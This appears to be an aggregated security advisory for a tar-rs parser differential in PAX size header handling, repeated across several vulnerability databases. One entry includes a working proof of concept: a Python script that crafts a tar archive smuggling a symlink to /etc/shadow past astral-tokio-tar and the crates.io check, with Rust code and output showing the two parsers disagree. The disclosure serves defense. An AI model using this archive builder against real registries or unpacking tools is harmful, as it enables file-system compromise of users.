tar-rs incorrectly ignores PAX size headers if header size is nonzero

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tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.

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20 Mar 2026 07:06:08 UTC

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20 Mar 2026 15:44:15 UTC

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23 Oct 2026 15:48:27 UTC

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CVSS 4.0 · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.

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Mar 20, 2026, 7:06:08 AM (timezone not stated)

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Mar 20, 2026, 3:44:15 PM (timezone not stated)

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15 Nov 2026 09:37:18 UTC

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EUVD CVSS 4.0 · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.

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20 Mar 2026 07:16:13 UTC

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17 Jun 2026 10:36:52 UTC

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25 Oct 2026 08:17:18 UTC

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CVSS 4.0 · [email protected] · Secondary · 5.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

### Summary As part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. However, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue. The problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override. ### Details https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ### PoC (originally posted by https://github.com/xokdvium) > I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links: It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`. https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ```python #!/usr/bin/env python3 B = 512 def pad(d): r = len(d) % B return d + b"\0" * (B - r) if r else d def hdr(name, size, typ=b"0", link=b""): h = bytearray(B) h[0 : len(name)] = name h[100:107] = b"0000644" h[108:115] = h[116:123] = b"0001000" h[124:135] = f"{size:011o}".encode() h[136:147] = b"00000000000" h[148:156] = b" " h[156:157] = typ if link: h[157 : 157 + len(link)] = link h[257:263] = b"ustar\x00" h[263:265] = b"00" h[148:155] = f"{sum(h):06o}\x00".encode() return bytes(h) INFLATED = 2048 pax_rec = b"13 size=2048\n" ar = bytearray() ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x") ar += pad(pax_rec) content = b"regular\n" ar += hdr(b"regular.txt", len(content)) mark = len(ar) ar += pad(content) ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow") ar += b"\0" * B * 2 used = len(ar) - mark if used < INFLATED: ar += b"\0" * (((INFLATED - used + B - 1) // B) * B) ar += b"\0" * B * 2 open("smuggle.tar", "wb").write(bytes(ar)) ``` `tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it). ```rust use std::fs; use std::path::PathBuf; fn sync_parse(data: &[u8]) { println!("tar:"); let mut ar = tar::Archive::new(data); for e in ar.entries().unwrap() { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } async fn async_parse(data: Vec<u8>) { println!("astral-tokio-tar:"); let mut ar = tokio_tar::Archive::new(data.as_slice()); let mut entries = ar.entries().unwrap(); while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } #[tokio::main] async fn main() { let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into()); let data = fs::read(&path).unwrap(); sync_parse(&data); async_parse(data).await; } ``` ``` tar: regular.txt Regular smuggled Symlink -> /etc/shadow astral-tokio-tar: regular.txt Regular ``` ### Impact This can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.

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20 Mar 2026 17:25:05 UTC

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10 Sep 2026 03:50:39 UTC

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GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Publisher rating · MODERATE

Versions 0.4.44 and below of tar-rs have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of [CVE-2025-62518][astral-cve], the [astral-tokio-tar] project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size — other tar parsers (including e.g. Go [`archive/tar`][go-tar]) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45. [astral-cve]: https://www.cve.org/CVERecord?id=CVE-2025-62518 [astral-tokio-tar]: https://github.com/astral-sh/tokio-tar [go-tar]: https://pkg.go.dev/archive/tar

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19 Mar 2026 12:00:00 UTC

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23 Mar 2026 09:45:06 UTC

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OSV · upstream source license applies

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CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N